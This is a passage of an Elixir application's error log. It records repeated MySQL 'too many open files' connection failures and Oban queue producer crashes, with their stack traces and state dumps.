    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:48:12.239233Z], limit: 20, uuid: "e25061c8-e358-4fae-91da-08818399bd61", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:12.239239Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29936>, refresh_timer: #Reference<0.2525715032.1121189889.138610>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:25.761000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:26.180000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:26.652000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:33.226000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:34.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:35.054000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:35.825000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:48:24.239908Z], limit: 3, uuid: "e7e13478-20a5-488b-85e3-c96a579d3402", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:24.239913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30183>, refresh_timer: #Reference<0.2525715032.1077673987.3250>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:48:24.239577Z], limit: 50, uuid: "1a21e37f-a209-4385-92ff-f3f98c13a6c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:24.239583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138779>, refresh_timer: #Reference<0.2525715032.1121189889.138743>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:48:24.240738Z], limit: 10, uuid: "57828faf-43b9-4de6-b38d-f6f48d808a18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:24.240744Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30181>, refresh_timer: #Reference<0.2525715032.1077673987.3270>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:48:24.240806Z], limit: 5, uuid: "273c9e10-41b9-465c-b7e0-656700b6305f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:24.240811Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30182>, refresh_timer: #Reference<0.2525715032.1077673987.3274>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:48:24.241774Z], limit: 20, uuid: "8ce87f7e-c1c5-4372-a802-629644d2051f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:24.241779Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30180>, refresh_timer: #Reference<0.2525715032.1077673987.3282>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:48:24.239426Z], limit: 5, uuid: "d2a0ab12-638e-4e60-a0ab-a1d42ee2e69c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:24.239433Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30179>, refresh_timer: #Reference<0.2525715032.1121189889.138739>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:36.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:37.751000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:42.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:44.254000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:46.379000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:47.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:48:36.239295Z], limit: 20, uuid: "a808f3b3-aa16-4783-9762-7ce3e9b604f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:36.239301Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138975>, refresh_timer: #Reference<0.2525715032.1121189889.138949>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
